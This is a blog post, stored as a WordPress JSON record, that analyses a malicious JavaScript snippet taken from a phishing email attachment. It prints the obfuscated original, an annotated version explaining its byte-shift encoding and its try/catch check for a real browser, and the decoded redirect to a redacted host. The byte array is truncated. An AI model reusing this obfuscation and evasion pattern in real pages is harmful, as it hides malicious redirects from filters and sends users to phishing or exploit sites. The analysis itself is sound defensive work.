{"id":754,"date":"2013-04-11T16:12:50","date_gmt":"2013-04-11T21:12:50","guid":{"rendered":"http:\/\/trillworks.com\/nick\/?p=754"},"modified":"2013-07-29T22:20:20","modified_gmt":"2013-07-30T03:20:20","slug":"malicious-javascript-snippet","status":"publish","type":"post","link":"https:\/\/trillworks.com\/nick\/2013\/04\/11\/malicious-javascript-snippet\/","title":{"rendered":"Malicious JavaScript snippet"},"content":{"rendered":"<p>I got this snippet in an html file attached to a phishing email.<\/p>\n<pre class=\"brush:js\">d=document;a=[0x78,0x63,0x74,0x33,0x7f, etc...];for(i=0;i&lt;a.length;i++){a[i]-=2;}\r\ntry{d.body++}catch(q){zz=0;}try{zz&amp;=2}catch(q){zz=1;}\r\nif(!zz)eval(String.fromCharCode.apply(String,a));<\/pre>\n<p>I&#8217;ve reformatted and annotated it for readability.<\/p>\n<pre class=\"brush:js\">\/\/ hide redirect as ascii bytes\r\na = [0x78,0x63,0x74,0x33, etc...];\r\n\r\n\/\/ \"decrypt\" our malicious code\r\n\/\/ maybe this is good enough to defeat filters looking for encoded redirects?\r\nfor (i = 0; i &lt; a.length; i++) {\r\n    a[i] -= 2;\r\n}\r\n\r\n\/\/detect if we're in a real browser\r\ntry {\r\n\t\/\/throws exception because you can't increment a node\r\n    document.body++\r\n} catch(e) {\r\n    \/\/ running in a real browser\r\n    notInBrowser = 0;\r\n}\r\n\r\ntry {\r\n    \/\/this throws an exception if we didn't throw an exception above\r\n    \/\/(notInBrowser will be undefined)\r\n    notInBrowser &amp;= 2\r\n}\r\ncatch(e) {\r\n    notInBrowser = 1;\r\n}\r\n\/\/ if we are in a browser, do the redirect\r\n\/\/ remember 0 == false and 1 == true \r\nif (!notInBrowser) {\r\n    eval(String.fromCharCode.apply(String,a));\r\n}<\/pre>\n<p>The decrypted code fed to the eval:<\/p>\n<pre class=\"brush:js\">var1=49;\r\nvar2=var1;\r\nif(var1==var2) {document.location=\"http:\/\/[redacted]:8080\/forum\/links\/column.php\";}<\/pre>\n<p>I&#8217;m not sure what was at the url. It was probably a phishing page or a browser exploit. If anyone can explain why they used a second try-catch instead of an if-statement, let me know.<\/p>\n<p>This guy has a similar post that explains the <code>document.body++<\/code>.<br \/>\n<a href=\"http:\/\/jeffreysambells.com\/2012\/12\/12\/anatomy-of-a-hack\">http:\/\/jeffreysambells.com\/2012\/12\/12\/anatomy-of-a-hack<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I got this snippet in an html file attached to a phishing email. d=document;a=[0x78,0x63,0x74,0x33,0x7f, etc&#8230;];for(i=0;i&lt;a.length;i++){a[i]-=2;} try{d.body++}catch(q){zz=0;}try{zz&amp;=2}catch(q){zz=1;} if(!zz)eval(String.fromCharCode.apply(String,a)); I&#8217;ve reformatted and annotated it for readability. \/\/ hide redirect as ascii bytes a = [0x78,0x63,0x74,0x33, etc&#8230;]; \/\/ &#8220;decrypt&#8221; our malicious code \/\/ maybe this is good enough to defeat filters looking for encoded redirects? for (i = &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/trillworks.com\/nick\/2013\/04\/11\/malicious-javascript-snippet\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Malicious JavaScript snippet&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[77],"tags":[],"class_list":["post-754","post","type-post","status-publish","format-standard","hentry","category-technical"],"_links":{"self":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/754","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/comments?post=754"}],"version-history":[{"count":29,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/754\/revisions"}],"predecessor-version":[{"id":943,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/754\/revisions\/943"}],"wp:attachment":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/media?parent=754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/categories?post=754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/tags?post=754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}